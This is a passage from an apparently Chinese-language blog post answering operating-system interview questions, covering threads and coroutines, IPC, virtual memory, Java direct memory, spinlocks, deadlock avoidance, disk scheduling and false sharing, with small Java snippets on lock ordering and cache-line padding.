或是 Java 19+ 引入的虚拟线程（Project Loom），其核心目的都是为了解决**“线程模型与高并发瓶颈”**之间的矛盾。</p><p>在传统的 Java 网络应用中，通常使用“一个连接对应一个线程”的模型。</p><ul><li><strong>内存压力：</strong> 一个 Linux 线程默认栈大小通常是 1MB（<code>-Xss</code>）。如果你有 10w 个并发连接，仅线程栈就需要占用 100GB 内存，这在单机上是不可接受的。</li><li><strong>内核态损耗：</strong> 线程的创建、销毁和切换必须通过系统调用进入内核。在高并发、短任务场景下，CPU 可能会浪费大量时间在切换上下文上，而不是在处理业务逻辑。</li></ul><p>协程的优势：用户态调度</p><p>协程（如 Go 的 Goroutine）本质上是**“用户态线程”**。它在内核线程之上又做了一层抽象：</p><ol><li><strong>极轻量级：</strong> 一个 Goroutine 初始栈仅约 <strong>2KB</strong>，可以根据需要动态扩容。这意味着单机支撑百万级别的协程成为可能。</li><li><strong>避免内核态切换：</strong> 协程的调度发生在<strong>用户态</strong>（由语言运行时的调度器完成，如 Go 的 G-M-P 模型）。当协程遇到 IO 阻塞时，调度器会将其挂起，切换到另一个协程运行，而底层的内核线程并不切换。这样就避开了昂贵的系统调用和 TLB 刷新开销。</li><li><strong>协作式 vs 抢占式：</strong> 虽然现代协程调度器也引入了抢占机制，但其核心思想仍然是更高效地利用 CPU 周期，避免因 IO 等待导致的线程浪费。</li></ol><h2 id="2-如果一个进程突然挂了，它的线程还会存在吗？反过来呢？">2.如果一个进程突然挂了，它的线程还会存在吗？反过来呢？</h2><p>进程挂了，线程还会存在吗？</p><p><strong>结论是：绝对不会存在。</strong></p><p>从资源分配的角度来看，进程是线程的“容器”和“资源提供者”。</p><ul><li><strong>生命周期绑定：</strong> 线程是进程内部的一个执行流。在操作系统的内核数据结构中，线程的资源（如虚拟内存地址空间、文件描述符表等）都是寄生在进程之下的。</li><li><strong>强制回收：</strong> 当进程因为崩溃（如 <code>Segmentation Fault</code>）或被信号杀死（如 <code>kill -9</code>）时，操作系统内核会接管后续工作。内核会清理该进程申请的所有资源，包括回收内存、关闭文件句柄，并<strong>销毁该进程下的所有执行序列（LWP，轻量级进程）</strong>。</li></ul><hr><p>线程挂了，进程还会存在吗？</p><p><strong>结论是：不一定，这取决于线程挂掉的原因以及程序的异常处理机制。</strong></p><p>这种情况比较复杂，通常分为以下两种场景：</p><p>场景 A：程序逻辑触发的致命异常（最常见）</p><p>如果一个线程因为触发了<strong>硬件级异常</strong>（如访问非法内存导致的 <code>SIGSEGV</code>，或整数除以零导致的 <code>SIGFPE</code>），且该信号没有被捕获处理，那么<strong>整个进程都会被操作系统终止</strong>。</p><ul><li><strong>原因：</strong> 这种异常通常意味着程序的执行逻辑已经进入不可控状态。由于线程间共享地址空间，一个线程的内存非法访问极可能已经破坏了其他线程的数据，为了保护系统安全，内核会直接干掉整个进程。</li></ul><p>场景 B：受控的异常（Java 开发者最熟悉）</p><p>在 Java 中，如果一个线程抛出了未捕获的 <code>Exception</code>（如 <code>RuntimeException</code>），且没有被 <code>UncaughtExceptionHandler</code> 拦截：</p><ul><li><strong>结果：</strong> 仅仅是<strong>该线程结束运行</strong>，其占用的私有栈空间会被回收。</li><li><strong>进程状态：</strong> 进程依然健在。只要进程内还有非守护线程（Non-daemon Thread）在运行，JVM 就不会退出。</li></ul><p>场景 C：主线程挂了</p><p>在很多语言（如 C/C++）中，如果 <code>main</code> 线程执行完毕返回了，它通常会调用 <code>exit()</code> 系统调用，这会导致整个进程结束，即便其他子线程还在运行。但在 Java 中，主线程（main）运行结束并不代表进程退出，JVM 会等待所有非守护线程执行完毕。</p><p>通过这个问题，我们可以总结出进程与线程在<strong>健壮性</strong>上的本质区别：</p><ul><li><strong>进程间隔离：</strong> 进程拥有独立的地址空间。一个进程崩溃，利用 MMU（内存管理单元）的保护，不会直接波及到其他进程。这是分布式系统和多进程架构（如 Chrome 浏览器的多进程模型）能够保持高可用的基础。</li><li><strong>线程间脆弱：</strong> 同一进程下的线程通过共享内存实现高效通信，但也牺牲了隔离性。“一人犯错，全家受累”是线程模型的固有风险。</li></ul><h2 id="3-进程间通信（IPC）有哪些方式？如果让你设计一个本地高频传输大文件的组件，你会选哪种？为什么？">3.进程间通信（IPC）有哪些方式？如果让你设计一个本地高频传输大文件的组件，你会选哪种？为什么？</h2><p>在 Linux 系统中，常见的 IPC 方式可以分为以下几类，它们的性能和复杂度各有侧重：</p><table><thead><tr><th><strong>方式</strong></th><th><strong>特点</strong></th><th><strong>适用场景</strong></th></tr></thead><tbody><tr><td><strong>管道 (Pipe/FIFO)</strong></td><td>半双工，流式传输。</td><td>父子进程或简单的数据传递。</td></tr><tr><td><strong>消息队列 (Message Queue)</strong></td><td>面向消息，由内核维护。</td><td>传输小块结构化数据。</td></tr><tr><td><strong>信号 (Signal)</strong></td><td>异步通知机制。</td><td>用于系统管理（如 <code>kill -9</code>）。</td></tr><tr><td><strong>套接字 (Socket)</strong></td><td>支持跨网络通信，也支持本地（Unix Domain Socket）。</td><td>跨机通信，或需要标准化接口的本地通信。</td></tr><tr><td><strong>共享内存 (Shared Memory)</strong></td><td><strong>最高效</strong>。映射同一块物理内存。</td><td>高频、大数据量的本地数据交换。</td></tr><tr><td><strong>信号量 (Semaphore)</strong></td><td>计数器，非数据传输。</td><td>配合共享内存进行同步锁控制。</td></tr></tbody></table><p>如果让我设计一个<strong>本地高频传输大文件</strong>的组件，我会毫不犹豫地选择 <strong>共享内存（Shared Memory）</strong>，并配合 <strong>信号量（Semaphore）</strong> 或 <strong>事件驱动机制</strong> 进行同步。</p><p>它是所有 IPC 手段中<strong>最快</strong>的，核心原因在于它实现了 <strong>“零拷贝”（Zero Copy）</strong> 的核心思想（在用户态视角下）。</p><ol><li><p><strong>减少数据拷贝开销：</strong></p><ul><li>在传统的 <strong>Socket 或 管道</strong> 通信中，数据需要经历：<code>用户 A 空间 -&gt; 内核缓冲区 -&gt; 用户 B 空间</code>。这中间涉及两次 CPU 拷贝和多次上下文切换。</li><li><strong>共享内存</strong> 将同一块物理内存同时映射到两个进程的虚拟地址空间中。进程 A 写入内存后，进程 B <strong>立刻可见</strong>。整个过程不涉及内核介入的数据拷贝，数据直接在内存中流转。</li></ul></li><li><p><strong>极低的延迟：</strong></p><ul><li>对于“高频”需求，省去了系统调用的上下文切换损耗（Context Switch Overheads），能榨干内存带宽。</li></ul></li></ol><p>设计一个健壮的大文件传输组件，单靠共享内存是不够的，还需要解决同步和稳定性问题：</p><p>A. 内存映射（mmap）</p><p>利用 <code>mmap</code> 系统调用将文件映射到内存。对于大文件，我们可以采用<strong>分片映射</strong>或**环形缓冲区（Ring Buffer）**的设计。</p><ul><li><strong>环形缓冲区：</strong> 预先申请一块固定大小的共享内存（如 1GB），将其作为生产者-消费者模型的缓冲区。</li></ul><p>B. 同步机制（避免竞态）</p><p>共享内存本身不提供同步原语。如果 A 还没写完 B 就去读，会读到脏数据。</p><ul><li>使用 <strong>信号量（Semaphore）</strong> 或 <strong>互斥锁（Mutex，存储在共享内存中且属性设为 PTHREAD_PROCESS_SHARED）</strong> 来协调读写顺序。</li><li>对于 Java 开发者，可以使用 <code>MappedByteBuffer</code> 配合文件锁或原子变量（Atomic）来实现类似逻辑。</li></ul><p>C. 传输保障</p><ul><li><strong>Metadata 头部：</strong> 在共享内存的最前端定义一个 Control Header，记录当前的 Write Pointer、Read Pointer 以及文件分片的校验和（Checksum），确保数据一致性。</li><li><strong>后备逻辑：</strong> 如果共享内存创建失败，组件应能自动降级到 Unix Domain Socket。</li></ul><p><strong>TLB 压力：</strong> 如果频繁映射和取消映射巨大的内存区域，会导致 TLB 刷新频繁。建议预分配长周期的内存块。</p><p><strong>缓存一致性：</strong> 虽然 OS 保证了内存可见性，但在多核 CPU 下，需要考虑 CPU Cache 的影响（通过 Memory Barrier 确保顺序）。</p><h2 id="4-问题-4：-什么是虚拟内存？如果没有虚拟内存，现在的计算机会面临什么问题？">4.<strong>问题 4：</strong> 什么是虚拟内存？如果没有虚拟内存，现在的计算机会面临什么问题？</h2><p><strong>虚拟内存（Virtual Memory）</strong> 是硬件（MMU）与操作系统之间的一层高度抽象。它为每个进程提供了一个连续、私有的、看起来像是独占整个物理内存的假象。</p><p>如果没有虚拟内存，CPU 直接访问的是物理内存（Physical Address）。有了它，CPU 访问的是<strong>虚拟地址（Virtual Address）</strong>，通过 <strong>页表（Page Table）</strong> 和 <strong>内存管理单元（MMU）</strong> 映射到真实的物理内存或磁盘交换区。</p><p>如果没有这层抽象，现代计算机系统几乎无法运行，主要会面临以下三大致命问题：</p><p>A. 进程间毫无“安全”可言（地址空间冲突）</p><ul><li><strong>现状：</strong> 两个程序（如 Chrome 和 IDE）可能会试图访问同一个内存地址（比如 <code>0x12345</code>）。</li><li><strong>后果：</strong> 进程 A 的数据会被进程 B 覆盖，导致系统频繁崩溃。没有隔离，恶意程序可以轻易读取其他进程的私有数据。</li></ul><p>B. 内存碎片的“自杀式”堆积</p><ul><li><strong>现状：</strong> 内存的申请和释放是动态的。如果没有虚拟内存，程序必须占据<strong>物理上连续</strong>的空间。</li><li><strong>后果：</strong> 假设系统有 1GB 空闲内存，但由于被其他程序切分，没有一块连续空间大于 100MB。此时即便总容量够，你也无法启动一个需要 200MB 内存的程序。</li><li><strong>虚拟内存的解决：</strong> 它可以将物理上分散的“碎片”页面（Pages）在虚拟空间中重新“拼凑”成连续的地址，这对程序透明。</li></ul><p>C. “内存不足”即死（扩展性问题）</p><ul><li><strong>现状：</strong> 物理内存是昂贵且有限的。</li><li><strong>后果：</strong> 如果没有虚拟内存，当你只有 8GB 内存却想运行一个需要 10GB 的数据集时，程序直接报错退出。</li><li><strong>虚拟内存的解决：</strong> 通过 <strong>换页机制（Paging/Swap）</strong>，系统可以将暂时不用的内存页置换到磁盘上。这让程序感觉自己拥有比物理内存大得多的空间（尽管速度会变慢）。</li></ul><p><strong>Java 堆外内存（Direct Buffer）：</strong> 为什么使用 <code>DirectBuffer</code> 能减少拷贝？因为它避开了 JVM 堆的二次映射，直接操作操作系统层面的虚拟内存。</p><p><strong>TLB 抖动：</strong> 当我们遍历一个巨大的不规则对象数组时，如果虚拟地址到物理地址的映射缓存（TLB）频繁失效，性能会急剧下降。</p><p><strong>大页内存（Large Pages）：</strong> 在 JVM 调优中开启 <code>-XX:+UseLargePages</code>，本质上是减小页表条目数，降低虚拟地址转换的开销。</p><h2 id="5-你的程序申请了-1GB-的内存，操作系统就立刻给你分配-1GB-的物理内存了吗？如果不是，那是怎么运作的？">5.你的程序申请了 1GB 的内存，操作系统就立刻给你分配 1GB 的物理内存了吗？如果不是，那是怎么运作的？</h2><p>当你调用 <code>malloc</code>（C）或在 Java 中通过 <code>-Xms1g</code> 启动程序时，操作系统<strong>绝不会</strong>立刻在物理内存条上给你划出 1GB 的空间。</p><p>它给你的只是一个<strong>承诺</strong>，即在<strong>虚拟地址空间</strong>中标记出一块 1GB 的连续区域，并将其状态设为“已分配（Reserved）”，但并没有在**物理内存（RAM）**中建立真正的映射。</p><p>真正的物理内存分配是直到你<strong>第一次真正读写</strong>这块内存时，通过“<strong>缺页中断</strong>”机制按需完成的。</p><p>其过程如下：</p><ol><li><strong>虚拟地址访问：</strong> 你的程序尝试访问地址 <code>0x001</code>。</li><li><strong>MMU 检查：</strong> CPU 的内存管理单元（MMU）查页表，发现该虚拟地址对应的页表项（PTE）并没有关联物理地址，于是触发一个 <strong>缺页异常（Page Fault）</strong>。</li><li><strong>陷入内核：</strong> CPU 挂起当前进程，跳转到操作系统的缺页异常处理程序。</li><li><strong>物理页分配：</strong><ul><li>内核检查该地址是否合法（是否真的申请过）。</li><li>如果是合法的，内核会在物理内存中寻找一个空闲的<strong>页帧（Page Frame）</strong>，通常是 4KB 大小。</li><li>如果物理内存不足，则触发页面置换（Swap），腾出空间。</li></ul></li><li><strong>更新页表：</strong> 内核将物理页的地址填入页表，建立映射关系。</li><li><strong>恢复执行：</strong> 重新执行刚才那条触发异常的指令。此时，程序无感知地获得了物理内存。</li></ol><p>这种设计并非为了偷懒，而是为了极致的效率：</p><ul><li><strong>空间利用率：</strong> 很多程序申请了大额内存但实际只用了其中一小部分。如果不按需分配，物理内存会被迅速浪费。</li><li><strong>性能优化（Copy-on-Write）：</strong> 比如 <code>fork()</code> 进程时，子进程共享父进程的物理内存，只有当某一方尝试修改时，才通过缺页中断分配新的物理页（写时复制）。</li><li><strong>启动速度：</strong> 如果 1GB 内存要初始化（清零、建立映射）完才让程序运行，程序的启动延迟会非常高。</li></ul><h2 id="6-Java-的堆外内存（Direct-Memory）是如何通过-sun-misc-Unsafe-或者-ByteBuffer-allocateDirect-来规避-JVM-堆管理，直接与操作系统的虚拟内存交互的？">6.Java 的堆外内存（Direct Memory）是如何通过 sun.misc.Unsafe 或者 ByteBuffer.allocateDirect 来规避 JVM 堆管理，直接与操作系统的虚拟内存交互的？</h2><p>传统的 Java 对象存在于 JVM 堆中，受 GC 管理。而堆外内存是直接向操作系统申请的内存空间，其核心价值在于**“零拷贝（Zero-Copy）”<strong>和</strong>“减轻 GC 压力”**。</p><p>当你调用 <code>ByteBuffer.allocateDirect(size)</code> 时，底层实际上经历了以下步骤：</p><ol><li><strong>分配逻辑：</strong> 调用 <code>sun.misc.Unsafe.allocateMemory(size)</code>。这直接通过 C 库的 <code>malloc</code> 或内核系统调用在进程的虚拟地址空间开辟内存。</li><li><strong>虚实转换：</strong> 操作系统并不会立即分配物理内存（如我们之前聊到的“缺页中断”机制），只有在 Java 真正往这个 Buffer 写入数据时，物理内存才被触达。</li><li><strong>IO 优势：</strong> 当你把一个堆内 Buffer 写入 Socket 时，JVM 必须先把数据拷贝到堆外的一块临时缓冲区（因为 GC 可能会移动堆内对象，导致地址变化）。而 <code>DirectBuffer</code> 指向的地址是<strong>固定且受内核直接访问</strong>的，省去了这一步中间拷贝。</li></ol><p>这是堆外内存最容易“坑”人的地方。因为它不在 JVM 堆里，所以普通的 Minor GC 或 Full GC 无法直接回收它。</p><p>它的回收机制——Cleaner 机制：</p><ul><li>每个 <code>DirectByteBuffer</code> 对象在 JVM 堆内都有一个很小的“影子对象”。</li><li>这个影子对象关联了一个 <code>sun.misc.Cleaner</code>（它是 <code>PhantomReference</code> 的子类）。</li><li><strong>触发时机：</strong> 当这个堆内的影子对象没有强引用被 GC 回收时，<code>ReferenceHandler</code> 线程会调用 <code>Cleaner</code> 的 <code>clean()</code> 方法，最终执行 <code>Unsafe.freeMemory()</code> 来释放对应的操作系统内存。</li></ul><blockquote><p><strong>风险点：</strong> 如果堆内影子对象一直不晋升或不被回收（比如一直留在老年代），那么即便物理内存快满了，堆外内存也不会被释放，最终导致进程 OOM。</p></blockquote><p>你提到了 <code>sun.misc.Unsafe</code>。在高级性能优化中，它是我们的“手术刀”：</p><ul><li><strong>直接地址操作：</strong> <code>Unsafe</code> 允许你通过一个 <code>long</code> 类型的绝对内存地址来读写数据。这完全跳过了 Java 的类型安全检查，速度极快。</li><li><strong>内存对齐：</strong> 在处理高性能计算（如 LMAX Disruptor）时，我们可以利用 <code>Unsafe</code> 确保数据结构在内存中是按 CPU 缓存行（Cache Line）对齐的，避免<strong>伪共享（False Sharing）</strong>。</li></ul><p>我不建议在所有场景都使用它，它的<strong>申请和销毁成本比堆内内存高得多</strong>。</p><ul><li><strong>适用场景：</strong><ol><li><strong>大对象且生命周期长：</strong> 避免大对象在 JVM 堆内频繁触发 Full GC。</li><li><strong>频繁 IO：</strong> 如 Netty 网络通信、磁盘文件映射（RocketMQ 的 CommitLog）。</li><li><strong>多进程共享：</strong> 配合 <code>MappedByteBuffer</code> 实现我们之前聊到的高性能 IPC。</li></ol></li><li><strong>调优参数：</strong> 一定要注意 <code>-XX:MaxDirectMemorySize</code>。如果这个值设置得不合理，即便物理内存充足，Java 也会因为达到限额而抛出 <code>Direct buffer memory</code> 异常。</li></ul><h2 id="7-互斥锁和自旋锁有什么区别？如果在单核-CPU-上，你会用自旋锁吗？">7.互斥锁和自旋锁有什么区别？如果在单核 CPU 上，你会用自旋锁吗？</h2><p>两者的核心差异在于：<strong>当锁被占用时，等待者如何自处？</strong></p><p>互斥锁 (Mutex)</p><ul><li><strong>行为：</strong> “休眠等待”。如果获取锁失败，线程会放弃 CPU，进入等待队列，由内核将其挂起（Blocked）。</li><li><strong>开销：</strong> 涉及<strong>两次上下文切换</strong>（挂起一次，被唤醒一次）。对于 Java 开发者来说，<code>synchronized</code> 的重量级锁状态和 <code>ReentrantLock</code> 默认都是这种行为。</li><li><strong>适用：</strong> 锁持有的时间较长，或者 IO 密集型任务。</li></ul><p>自旋锁 (Spinlock)</p><ul><li><strong>行为：</strong> “忙等待”。线程不释放 CPU，在一个循环里不停地检查锁的状态（CAS 操作）。</li><li><strong>开销：</strong> 只要不切换上下文，它的响应速度极快。但它会<strong>持续占用 CPU</strong>，造成无谓的功耗。</li><li><strong>适用：</strong> 锁持有的时间极短，且在多核环境下能迅速获取锁。</li></ul><p><strong>结论是：在单核 CPU 上使用自旋锁不仅是“浪费”，甚至可能是“自杀”。</strong></p><p>我会从以下两个层面阐述理由：</p><p>A. 效率层面：纯粹的资源浪费</p><p>在单核 CPU 上，同一时刻只能有一个执行流。</p><ol><li>如果线程 A 持有了自旋锁，线程 B 尝试获取。</li><li>由于是单核，线程 B 必须<strong>抢占</strong>（Preempt）了 A 的 CPU 时间片才能运行。</li><li>一旦 B 开始运行并“自旋”，由于 A 此时不运行，A 永远不可能释放锁。</li><li>B 只能白白耗尽自己的时间片，直到系统强制调度回 A。 <strong>在单核上自旋，百分之百是在做无用功。</strong></li></ol><p>B. 风险层面：引发死锁（特别是内核态）</p><p>如果是在内核驱动开发或某些特定环境下：</p><ul><li>假设线程 A 持有锁后被一个高优先级的线程 B 抢占。</li><li>如果 B 进入自旋，且 B 的优先级高于 A 导致 A 无法被调度，那么 A 没机会释放锁，B 永远在自旋。</li><li>这会导致整个系统<strong>硬死锁（Hard Lockup）</strong>。</li></ul><h2 id="8-产生死锁的四个必要条件是什么？在日常工程开发中，你怎么避免死锁？">8.产生死锁的四个必要条件是什么？在日常工程开发中，你怎么避免死锁？</h2><p><strong>互斥条件（Mutual Exclusion）：</strong> 资源在同一时刻只能被一个线程占用。</p><p><strong>请求与保持条件（Hold and Wait）：</strong> 线程已经持有了至少一个资源，但又提出了新的资源请求，而新资源被其他线程占用。此时请求线程被阻塞，但对自己已获得的资源保持不放。</p><p><strong>不剥夺条件（No Preemption）：</strong> 线程已获得的资源在未使用完之前，不能被其他线程强行剥夺，只能由自己主动释放。</p><p><strong>环路等待条件（Circular Wait）：</strong> 存在一个线程等待环路，比如线程 A 等待线程 B 占用的资源，线程 B 等待线程 C 占用的资源，而线程 C 又在等待线程 A 占用的资源。</p><p>A. 打破“环路等待”：确立资源获取的全局顺序（最常用且最有效）</p><p>这是解决多锁场景死锁的“黄金法则”。如果所有线程都按照相同的顺序去获取资源，就永远不可能形成环路。</p><ul><li><p><strong>经典场景：转账业务。</strong> 假设线程 1 执行 A 向 B 转账（先锁 A，再锁 B），线程 2 并发执行 B 向 A 转账（先锁 B，再锁 A），这就极易引发死锁。</p></li><li><p><strong>破解方案：</strong> 通过对业务对象的唯一标识（如账户 ID）进行排序来决定加锁顺序。</p><p>Java</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">// 伪代码示例：永远先锁 ID 较小的对象</span><br><span class="line">Object firstLock = accountA.getId() &lt; accountB.getId() ? accountA : accountB;</span><br><span class="line">Object secondLock = accountA.getId() &lt; accountB.getId() ? accountB : accountA;</span><br><span class="line"></span><br><span class="line">synchronized(firstLock) &#123;</span><br><span class="line">    synchronized(secondLock) &#123;</span><br><span class="line">        // 执行转账逻辑</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><p>B. 打破“请求与保持”和“不剥夺”：使用带超时的锁尝试</p><p>在 Java 中，原生 <code>synchronized</code> 如果获取不到锁就会一直死等。为了打破这种僵局，我会优先考虑使用 <code>java.util.concurrent.locks.ReentrantLock</code>。</p><ul><li><strong>破解方案：</strong> 使用 <code>tryLock(long timeout, TimeUnit unit)</code>。如果在规定时间内获取不到下一把锁，线程就主动退让，释放掉自己当前已经持有的所有锁，休眠一段随机时间后重试。</li><li><strong>优势：</strong> 这不仅打破了“保持”，也相当于实现了某种程度的“自我剥夺”。在微服务架构中，处理分布式调用时这种 Fast-Fail（快速失败）的超时机制更是必不可少。</li></ul><p>C. 缩小锁的粒度与锁的分离</p><p>很多时候死锁是因为我们把不相关的资源强行绑定在了一把大锁上。</p><ul><li><strong>破解方案：</strong> 运用类似于 <code>ConcurrentHashMap</code> 分段锁的思想，或者读写锁分离（<code>ReentrantReadWriteLock</code> / <code>StampedLock</code>）。当线程不需要同时持有多个资源的锁时，死锁的概率就会成倍降低。</li></ul><p>D. 借助无锁并发控制（乐观锁）</p><p>只要有悲观锁，就有死锁的风险。</p><ul><li><strong>破解方案：</strong> 在高并发写冲突不高的场景下，我会优先使用 CAS（Compare-And-Swap）或者数据库层面的乐观锁（版本号机制 <code>version = version + 1</code>）来替代重量级锁，从根本上绕开死锁问题。</li></ul><h2 id="9-磁盘调度算法你了解哪些？如果让你来优化数据库底层的磁盘读取，你会偏向哪种思想？">9.磁盘调度算法你了解哪些？如果让你来优化数据库底层的磁盘读取，你会偏向哪种思想？</h2><p>在传统的机械硬盘（HDD）时代，磁盘的 I/O 耗时主要由 <strong>寻道时间</strong>（磁头移动到目标磁道）和 <strong>旋转延迟</strong>（盘片旋转到目标扇区）组成，其中寻道时间最长。因此，调度的核心目标就是<strong>尽量减少磁头的移动距离</strong>。常见的算法有：</p><ol><li><strong>FCFS (First-Come, First-Served - 先来先服务)</strong><ul><li><strong>思想：</strong> 按请求到达的顺序依次处理。</li><li><strong>评价：</strong> 最公平，但性能最差。磁头可能会在内外磁道之间来回剧烈跳动，导致极高的平均寻道时间。</li></ul></li><li><strong>SSTF (Shortest Seek Time First - 最短寻道时间优先)</strong><ul><li><strong>思想：</strong> 优先处理距离当前磁头位置最近的请求。</li><li><strong>评价：</strong> 整体吞吐量很高，寻道效率好。<strong>但它有一个致命缺陷——“饥饿”（Starvation）。</strong> 如果磁头中间区域的请求源源不断，磁头就会一直停留在中间，导致边缘磁道的请求长时间等不到响应。</li></ul></li><li><strong>SCAN (电梯算法)</strong><ul><li><strong>思想：</strong> 磁头就像电梯一样，保持一个方向移动（比如从内向外），沿途响应所有请求，直到到达最边缘才掉头，反向扫描。</li><li><strong>评价：</strong> 有效地<strong>解决了 SSTF 的“饥饿”问题</strong>。但它的缺点是，当磁头刚掉头时，对刚刚访问过的那一端非常不公平，而另一端的请求已经等了很久。</li></ul></li><li><strong>C-SCAN (Circular SCAN - 循环扫描)</strong><ul><li><strong>思想：</strong> 磁头单向移动扫描（比如只在从内向外时响应请求），到达边缘后，直接快速飞回起始端，中间不响应任何请求，重新开始下一轮扫描。</li><li><strong>评价：</strong> 相比 SCAN，它对各个磁道的响应时间更加均匀，等待时间的方差更小。</li></ul></li><li><strong>LOOK / C-LOOK</strong><ul><li><strong>思想：</strong> 这是对 SCAN 和 C-SCAN 的优化。磁头不需要傻傻地走到物理磁盘的最边缘，只要在这个方向上没有新的请求了，就立刻掉头或返回。这是实际操作系统中最常用的思想。</li></ul></li></ol><p>我的核心指导思想是：<strong>“在保证绝对不发生饥饿的前提下，追求稳定的 P99 延迟（可预期的响应时间），其次才是最大化吞吐量。”</strong></p><p><strong>规避“饥饿”与保证 P99 延迟：</strong> 数据库系统（如 MySQL/InnoDB）对查询的稳定性要求极高。如果使用类似 SSTF 的贪心算法，虽然整体 IOPS 看起来很高，但会导致部分长尾查询（被“饥饿”的边缘磁道请求）耗时几秒甚至十几秒，这在生产环境中会导致连接池被打满甚至服务雪崩。C-LOOK 强制磁头扫过所有区域，保证了任何一个请求的等待时间都是有明确上限的。</p><p><strong>Deadline 机制的引入（借鉴 Linux CFQ/Deadline 调度器）：</strong> 单靠电梯算法还不够，我会引入超时队列。维护两个队列：一个是按物理扇区排序的 C-LOOK 队列（追求吞吐），另一个是按请求到达时间排序的 FIFO 队列（防饥饿）。当 FIFO 队列中某个请求的等待时间超过了阈值（比如 500ms），调度器必须强制打断 C-LOOK 的节奏，优先处理即将超时的请求。这就彻底杜绝了数据库层面的请求饿死。</p><p><strong>合并与顺序化（Random to Sequential）：</strong> 数据库写操作（如 Redo Log, Doublewrite Buffer）都会极力将随机写转换为顺序写。在读取侧，如果碰到全表扫描或索引范围扫描，我会利用 C-LOOK 的特性，提前进行 <strong>异步预读 (Read-Ahead)</strong>，顺着磁头的移动方向把临近的页提前加载到 Buffer Pool 中，最大化单次磁盘寻道的收益。</p><h2 id="10-能解释一下-CPU-缓存的局部性原理吗？在写代码时，有没有遇到过‘伪共享’问题，导致多线程性能反而下降">10.能解释一下 CPU 缓存的局部性原理吗？在写代码时，有没有遇到过‘伪共享’问题，导致多线程性能反而下降</h2><p>CPU 的运算速度远远超过主存（内存）的读写速度，为了弥补这个鸿沟，现代 CPU 引入了 L1、L2、L3 多级缓存。缓存的高效运作完全依赖于<strong>局部性原理</strong>，它主要包含两方面：</p><ol><li><strong>时间局部性（Temporal Locality）：</strong> 如果一个数据刚刚被访问过，那么它在不久的将来很可能再次被访问（例如循环体中的计数器变量）。CPU 会将这类数据留在缓存中。</li><li><strong>空间局部性（Spatial Locality）：</strong> 如果一个数据被访问，那么它相邻内存地址的数据也很可能很快被访问（例如遍历数组）。<ul><li><strong>核心机制：Cache Line（缓存行）。</strong> CPU 从内存加载数据到缓存时，不是按字节加载的，而是按“块”加载。这个块就是 Cache Line，目前主流 CPU 的 Cache Line 大小通常是 <strong>64 Bytes</strong>。这意味着，如果你读取了一个 <code>long</code> 变量（8字节），CPU 会顺手把它后面连续的 56 个字节也一并加载进缓存。</li></ul></li></ol><p>基于上述的 Cache Line 机制，虽然提高了顺序读取的效率，但在多线程并发场景下，却埋下了一个隐患。</p><p>现代多核 CPU 为了保证各个核心中缓存数据的一致性，通常采用 <strong>MESI（Modified, Exclusive, Shared, Invalid）缓存一致性协议</strong>。MESI 协议的最小生效单位<strong>不是单个变量，而是整个 Cache Line</strong>。</p><p><strong>伪共享的产生过程：</strong> 假设我们有一个类，里面有两个独立的 <code>volatile long</code> 变量 <code>a</code> 和 <code>b</code>。它们在内存中是连续分配的，总共 16 字节，恰好被加载到了<strong>同一个 64 字节的 Cache Line</strong> 中。</p><ul><li><strong>线程 1（运行在 Core 1）</strong> 频繁修改变量 <code>a</code>。</li><li><strong>线程 2（运行在 Core 2）</strong> 频繁修改变量 <code>b</code>。</li></ul><p>表面上看，两个线程修改的是不同的变量，互不干扰，完全不需要加锁。但底层发生的事情是：</p><ol><li>Core 1 修改了 <code>a</code>，根据 MESI 协议，它必须向总线发广播，将 Core 2 中包含 <code>a</code> 和 <code>b</code> 的整个 Cache Line 标记为 <strong>Invalid（失效）</strong>。</li><li>接着 Core 2 想要修改 <code>b</code>，发现自己的 Cache Line 失效了，必须触发一次 Cache Miss，重新从主存（或 L3 缓存）中读取最新的 Cache Line。</li><li>Core 2 修改完 <code>b</code> 后，又会导致 Core 1 的 Cache Line 失效。</li></ol><p>两个核心就像在打乒乓球一样，疯狂地互相使对方的缓存行失效，导致<strong>缓存未命中率飙升，大量消耗内存总线带宽</strong>。这种明明没有共享数据，却因为物理层面的相邻而引发的缓存失效冲突，就叫<strong>伪共享</strong>。它的破坏力极大，有时会让多线程的性能跌得比单线程还要惨。</p><p><strong>1. 经典的解决方案：Cache Line Padding（缓存行填充）</strong> 既然伪共享是因为变量凑在了同一个 Cache Line 里，那我们强行把它们“撑开”就好了。 在早期的 Java 版本中，我们会手动声明几个无用的 <code>long</code> 变量进行占位：</p><p>Java</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">class Pointer &#123;</span><br><span class="line">    volatile long x;</span><br><span class="line">    // 填充 7 个 long (56 字节)，确保 x 和 y 绝对不会落在同一个 64 字节的缓存行内</span><br><span class="line">    long p1, p2, p3, p4, p5, p6, p7;</span><br><span class="line">    volatile long y;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>著名的无锁并发框架 <strong>Disruptor</strong> 的源码中，<code>RingBuffer</code> 的游标 <code>Sequence</code> 类就大量使用了这种经典的 Padding 技巧，这也是 Disruptor 性能极高的底层秘密之一。</p><p><strong>2. 现代 Java 的优雅解法：<code>@Contended</code> 注解</strong> 从 JDK 8 开始，官方引入了 <code>jdk.internal.vm.annotation.Contended</code> 注解（在 JDK 9 以后包名有所变化）。</p><ul><li>将这个注解加在类或字段上，JVM 在分配内存时会自动为我们进行合理的字节对齐和填充，彻底隔离 Cache Line。</li><li><strong>注意细节：</strong> 默认情况下该注解只对 JDK 内部类生效（如 <code>LongAdder</code> 中的 <code>Cell</code> 类）。如果我们自己业务代码要使用，启动时必须加上 JVM 参数 <code>-XX:-RestrictContended</code>。</li></ul><p>在实战中，如果我们遇到高并发的累加计数场景，我会果断弃用 <code>AtomicLong</code>，转而使用 JDK 8 提供的 <strong><code>LongAdder</code></strong>。<code>LongAdder</code> 的内部就是通过维护一个 <code>Cell[]</code> 数组分散并发写压力，并且其 <code>Cell</code> 类被 <code>@Contended</code> 注解修饰，完美规避了伪共享问题，保证了极致的吞吐量。</p><h2 